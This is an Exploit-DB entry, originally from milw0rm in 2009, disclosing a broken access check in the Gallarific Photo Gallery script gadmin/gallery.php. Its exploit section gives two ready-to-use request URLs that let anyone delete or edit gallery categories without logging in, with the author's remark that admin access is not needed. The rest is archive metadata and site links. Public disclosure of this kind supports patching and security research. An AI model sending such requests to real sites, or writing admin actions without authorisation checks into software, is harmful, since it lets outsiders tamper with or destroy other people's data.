Gallarific 1.1 - '/gallery.php' Arbitrary Delete/Edit Category

EDB-ID:

9421

CVE:

N/A

EDB Verified:

Author:

ilker Kandemir

Type:

webapps

Exploit: /

Platform:

PHP

Date:

2009-08-12

Vulnerable App:

# Gallarific Photo Gallery &lt;= 1.0 Arbitrary Delete-Edit Category Vulnerability

//Author: iLker Kandemir -- MEFISTO

//Price : 47 $

//script demo : http://www.gallarific.com/demo/index.php

//[imhatimi.org]

----------------------------------------------------------------
//exploit :

1) http://[site]/gadmin/gallery.php?task=delete&amp;id=1

2) http://[site]/gadmin/gallery.php?task=edit&amp;id=1

----------------------------------------------------------------
//Note:

/* You don't need access to admin-panel ;) */

side note:
Original Advisory without poC : http://secunia.com/advisories/29399

# milw0rm.com [2009-08-12]

Tags:

Advisory/Source: Link

Databases	Links	Sites	Solutions
Exploits	Search Exploit-DB	OffSec	Courses and Certifications
Google Hacking	Submit Entry	Kali Linux	Learn Subscriptions
Papers	SearchSploit Manual	VulnHub	OffSec Cyber Range
Shellcodes	Exploit Statistics		Proving Grounds
			Penetration Testing Services